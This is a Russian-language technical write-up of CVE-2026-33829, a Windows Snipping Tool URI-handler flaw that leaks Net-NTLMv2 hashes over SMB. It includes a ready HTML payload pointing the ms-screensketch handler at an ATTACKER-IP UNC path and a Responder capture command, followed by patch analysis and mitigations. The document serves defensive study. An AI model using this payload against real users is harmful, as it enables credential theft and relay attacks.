
Разбор уязвимости: CVE-2026-33829 (принуждение NTLM в Windows Snipping Tool)
Практическое исследование уязвимости: CVE-2026-33829 (принудительная NTLM-аутентификация через средство захвата фрагментов Windows)
В данном материале подробно описывается техническое воспроизведение CVE-2026-33829 — уязвимости раскрытия информации в современной платформе приложения «Фрагмент и набросок» (Snipping Tool) Windows. Злоупотребляя непроверяемым входным параметром в пользовательском обработчике URI-протокола, удалённый хост может принудить незапатченную Windows-машину к инициации исходящего SMB-подключения, что приводит к утечке хешей аутентификации Net-NTLMv2 по сети.
Схема URI — (Windows использует пользовательские протоколы (такие как ms-screensketch:, ms-settings: , file:) для взаимодействия веб-браузеров с настольными приложениями.
Корень этой уязвимости кроется в схеме URI (ms-screensketch:edit). Когда жертва нажимает на вредоносную ссылку, содержащую (ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png), и подтверждает запрос «Открыть приложение "Фрагмент и набросок"». Операционная система запускает SnippingTool.exe и передаёт вредоносный параметр filePath, например (ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png), без надлежащей проверки.
Поскольку присутствует параметр :edit?, приложение «Фрагмент и набросок» пытается открыть файл по указанному пути (filePath=\\ATTACKER-IP\\share\evil.png). Это приводит к инициации сетевого подключения по протоколу SMB (Server Message Block). Так как SMB предназначен для проверки того, кто запрашивает файл, Windows автоматически пытается аутентифицировать пользователя. Система отправляет хеш запроса-ответа Net-NTLMv2 текущего вошедшего в систему пользователя на сервер атакующего. Весь процесс происходит незаметно в фоновом режиме, без каких-либо видимых предупреждений или запросов для пользователя.
Атакующий перехватывает данные аутентификации запроса-ответа Net-NTLMv2 жертвы. Получив Net-NTLM-хеш жертвы, злоумышленник может выполнить NTLM-relay атаку, чтобы выдать себя за жертву и получить доступ к внутренним сетевым ресурсам или аутентифицироваться в других службах предприятия, либо сохранить перехваченный хеш и использовать атаки перебором или по словарю для восстановления реального пароля Windows жертвы в открытом виде.
Для активации обработчика была развёрнута простая HTML-нагрузка, имитирующая вектор фишинга или компрометации внутренней сети
<!DOCTYPE html>
<html>
<body>
<button onclick="window.location.href='ms-screensketch:edit?&filePath=\\ATTACKER-IP\share\test.png&isTemporary=false&saved=true&source=Toast'">Launch Verification</button>
</body>
</html>
Для перехвата хеша был развёрнут изолированный экземпляр Kali Linux с запущенным Responder
sudo responder -I eth0 -v
После нажатия кнопки в целевой среде Windows приложение открыло контекст редактирования и мгновенно направило SMB-запрос на хост-получатель. Последовательность запроса-ответа аутентификации прошла без сбоев, захватив структуру хеша Net-NTLMv2 для контекста целевого пользователя.
Пакет NTLMSSP_NEGOTIATE показывает, что система жертвы инициирует NTLM-аутентификацию во время установки SMB-сеанса после разрешения контролируемого злоумышленником UNC-пути
Пакет NTLMSSP_AUTH содержит данные аутентификации запроса-ответа Net-NTLMv2, переданные системой жертвы после завершения фазы проверки.
После этого атакующий перехватывает переданный NTLMv2-хеш
Перехваченные данные запроса-ответа Net-NTLMv2 могут быть использованы в NTLM-relay атаках или подвергнуты попыткам офлайн-взлома пароля в зависимости от целевой среды
Как Microsoft исправила эту проблему?
До установки исправления функция редактирования в приложении «Фрагмент и набросок» принимала строку внутри filePath и передавала её напрямую в API открытия файлов.
Наблюдаемое поведение после исправления позволяет предположить, что Microsoft внедрила логику проверки, предотвращающую передачу UNC/сетевых значений filePath в базовые API обработки файлов. Теперь, когда строка передаётся в filePath, приложение выполняет проверку корректности перед тем, как передать её операционной системе:
Оно проверяет, начинается ли строка с маркеров локальных дисков (например, C:\ или D:\) или стандартных безопасных локальных системных переменных.
Если приложение обнаруживает префикс UNC (Universal Naming Convention) (например, \\ или \\\\) или сетевой шаблон внешнего IP-адреса, цикл проверки помечает аргумент как недопустимый, вызывает исключение и немедленно завершает процесс загрузки файла.
Поскольку код останавливается до выполнения инструкций Win32 по открытию файла, ядро Windows никогда не получает запрос, и SMB-пакет не отправляется.
Если повторить попытку после установки обновления безопасности, приложение по-прежнему вызывает обработчик ms-screensketch:, однако удалённые значения filePath больше не обрабатываются через рабочий процесс редактирования.
Убедитесь, что все конечные точки Windows обновлены до базовой версии с исправлениями безопасности от 14 апреля 2026 года, которая вводит строгие границы проверки входных данных для обработчика приложения.
Внедрите строгие правила межсетевого экрана, блокирующие исходящий трафик TCP-порта 445 к неавторизованным внешним сетям, снижая риск утечки учётных данных.
Настройте объекты групповой политики (GPO) для ограничения исходящего NTLM-трафика к удалённым серверам, обеспечивая применение безопасных альтернативных протоколов, таких как Kerberos, где это применимо.
Пост-анализ CVE-2026-33829 демонстрирует, как доверенные рабочие процессы приложений и устаревшие механизмы аутентификации могут непреднамеренно раскрывать материал учётных данных через исходящие сетевые взаимодействия. Хотя данная уязвимость не обеспечивает прямого выполнения кода, она подчёркивает важность ограничения избыточной NTLM-аутентификации, мониторинга исходящего SMB-трафика и проверки обработки ресурсов, управляемых через URI, в средах Windows.
Отказ от ответственности: данный материал подготовлен исключительно в образовательных, защитных исследовательских целях и для лабораторной проверки. Все тесты проводились в полностью изолированной песочной среде.